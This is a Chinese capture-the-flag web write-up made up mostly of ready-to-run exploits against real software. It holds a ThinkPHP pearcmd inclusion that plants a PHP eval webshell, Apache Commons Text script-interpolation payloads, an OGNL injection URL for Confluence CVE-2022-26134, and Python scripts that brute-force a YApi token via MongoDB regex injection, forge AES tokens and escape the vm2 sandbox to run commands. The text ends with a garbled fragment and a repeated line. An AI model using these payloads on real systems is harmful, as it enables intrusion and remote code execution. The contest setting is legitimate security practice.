WEB
🐑了拼🐑
拼图或者直接搜索js文件代码
Evil Mysql Server
Mysql恶意服务器读取文件,MySQL_Fake_Server或者Rogue-MySql-Server直接读文件,填写vps的ip端口让服务器连接。
Be-a-Language-Expert
前段时间thinkphp6 多语言 pearcmd文件包含那个洞
/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&<?=eval($_POST['cmd'])?>+/tmp/test2.php
/index.php?lang=../../../../../../../../tmp/test2
POST 传参 cmd=system%28%27%2Freadflag%27%29%3B
ApacheCommandText
https://www.ctfiot.com/79054.html
https://commons.apache.org/proper/commons-text/userguide.html
基本格式为${prefix:name}
,过滤了poc中script、file、url等prefix
支持递归解析,使用编码器进行绕过,可以参考部分Log4j2的绕过方式
https://www.freebuf.com/articles/network/316590.html
${base64Decoder:JHtzY3JpcHQ6amF2YXNjcmlwdDpuZXcgamF2YS5pby5CdWZmZXJlZFJlYWRlcihuZXcgamF2YS5pby5JbnB1dFN0cmVhbVJlYWRlcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygnL3JlYWRmbGFnJykuZ2V0SW5wdXRTdHJlYW0oKSkpLnJlYWRMaW5lKCl9}
${script:javascript:new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec('/readflag').getInputStream())).readLine()}
Be-a-Wiki-Hacker
CVE-2022-26134 OGNL注入命令执行
Atlassian Confluence 远程代码执行漏洞(CVE-2022-26134)OGNL注入命令执行
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20/flag%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
Yummy Api
YApi <1.12.0 远程命令执行漏洞
Yapi 注入到RCE 漏洞分析
YApi<1.12版本下通过MongoDB的盲注拿到Token后进行RCE的漏洞分析
通过run_auto_test命令执行接口添加自动化测试脚本,这里是个vm2逃逸。根据文章中的脚本缝合一下 依次跑就行
爆破token
import requests
strings = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def check_toekn(token:str):
json_data = {
'token': token,
'catid': '1376',
'path': '/api/group/list',
'title': '/api/group/list',
'method': 'GET',
}
response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
if response.text.find('project_id') == -1:
print("token is {0}".format(token))
exit()
payload = ""
while True:
for i in strings:
payloads = payload + i
json_data = {
'token': {
'$regex': '^{0}'.format(payloads),
},
'catid': '1376',
'path': '/api/group/list',
'title': '/api/group/list',
'method': 'GET',
}
response = requests.post('http://47.98.161.119:8080/api/interface/add',json=json_data)
if response.text.find('project_id') != -1:
continue
else:
payload = payloads
print(payloads)
check_toekn(payloads)
break
token编码
from Crypto.Cipher import AES
from hashlib import md5
import requests
class AESCipher(object):
class InvalidBlockSizeError(Exception):
"""Raised for invalid block sizes"""
pass
def __init__(self, key, block_size=16) -> None:
if block_size < 2 or block_size > 255:
raise AESCipher.InvalidBlockSizeError(
'The block size must be between 2 and 255, inclusive')
self.block_size = block_size
self.key, self.iv = self.EVP_BytesToKey(
key.encode("utf-8"), "".encode("utf-8"), 24, 16)
def __pad(self, text) -> str:
text_length = len(text)
amount_to_pad = self.block_size - (text_length % self.block_size)
if amount_to_pad == 0:
amount_to_pad = self.block_size
self.pad = chr(amount_to_pad)
return text + self.pad * amount_to_pad
def __unpad(self, text) -> str:
text = text.rstrip(self.pad)
return text
def encrypt(self, raw) -> str:
raw = self.__pad(raw).encode()
cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
return cipher.encrypt(raw).hex()
def decrypt(self, enc) -> str:
enc = bytes.fromhex(enc)
cipher = AES.new(self.key, AES.MODE_CBC, self.iv)
return self.__unpad(cipher.decrypt(enc).decode("utf-8"))
def EVP_BytesToKey(self, password, salt, key_len, iv_len) -> tuple[bytes, bytes]:
"""
Derive the key and the IV from the given password and salt.
"""
dtot = md5(password + salt).digest()
d = [dtot]
while len(dtot) < (iv_len+key_len):
d.append(md5(d[-1] + password + salt).digest())
dtot += d[-1]
return dtot[:key_len], dtot[key_len:key_len+iv_len]
aes = AESCipher("abcde", 16)
for i in range(0,100):
token = aes.encrypt("{0}|8fa743801266b2391d16".format(i))
reponse = requests.get("http://47.98.161.119:9090/api/project/get?token={0}".format(token))
if(reponse.text.find("null") == -1):
print("uid:{0}".format(i))
print("project_id:{0}".format(reponse.json()["data"]["_id"]))
print(token)
exit()
RCE
import requests
import re
token = "043454c1c1399255295ebf2fff47e5cc494108968ad05f848627c334d91ad2bc"
url = f'http://47.98.161.119:9090/api/project/up?token={token}'
headers = {
"content-type":"application/json"
}
vm2Script = """
let mockJson = constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString()
context.responseData = 'testtest' + mockJson + 'testtest'
console.log(responseData)
"""
body_json = {"id":1,
"pre_script":"",
"after_script":vm2Script}
print(body_json)
id = 1
while id:
print(id)
body_json["id"] = id ## 项目id 需要枚举
resp = requests.post(url=url,headers=headers,json=body_json, timeout=5)
print(resp.status_code)
print(resp.text)
if resp.status_code == 200 and re.search("\"errcode\":0",resp.text):
print("[*] pre-response 脚本上传成功")
break
else:
print("[*] pre-response 脚本上传失败")
id+=1
print(id)
id = 1
while id:
url =f'http://47.98.161.119:9090/api/open/run_auto_test?id={id}&token={token}&mode=html'
resp = requests.get(url=url)
if re.search("YAPI",resp.text) and re.search("<!DOCTYPE html>",resp.text):
print("[*] 命令执行成功")
# print(url)
print("===")
print(id)
print(re.search("testtest[\s\S]*testtest",resp.text)[0])
break
print(url)
id += 1
后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj
python poc.py --debug one4all -u http://127.0.0.1:3000/
b-1673264674162)]
后面发现vulhub有一键脚本 https://github.com/vulhub/vulhub/tree/master/yapi/mongodb-inj
python poc.py --debug one4all -u http://127.0.0.1:3000/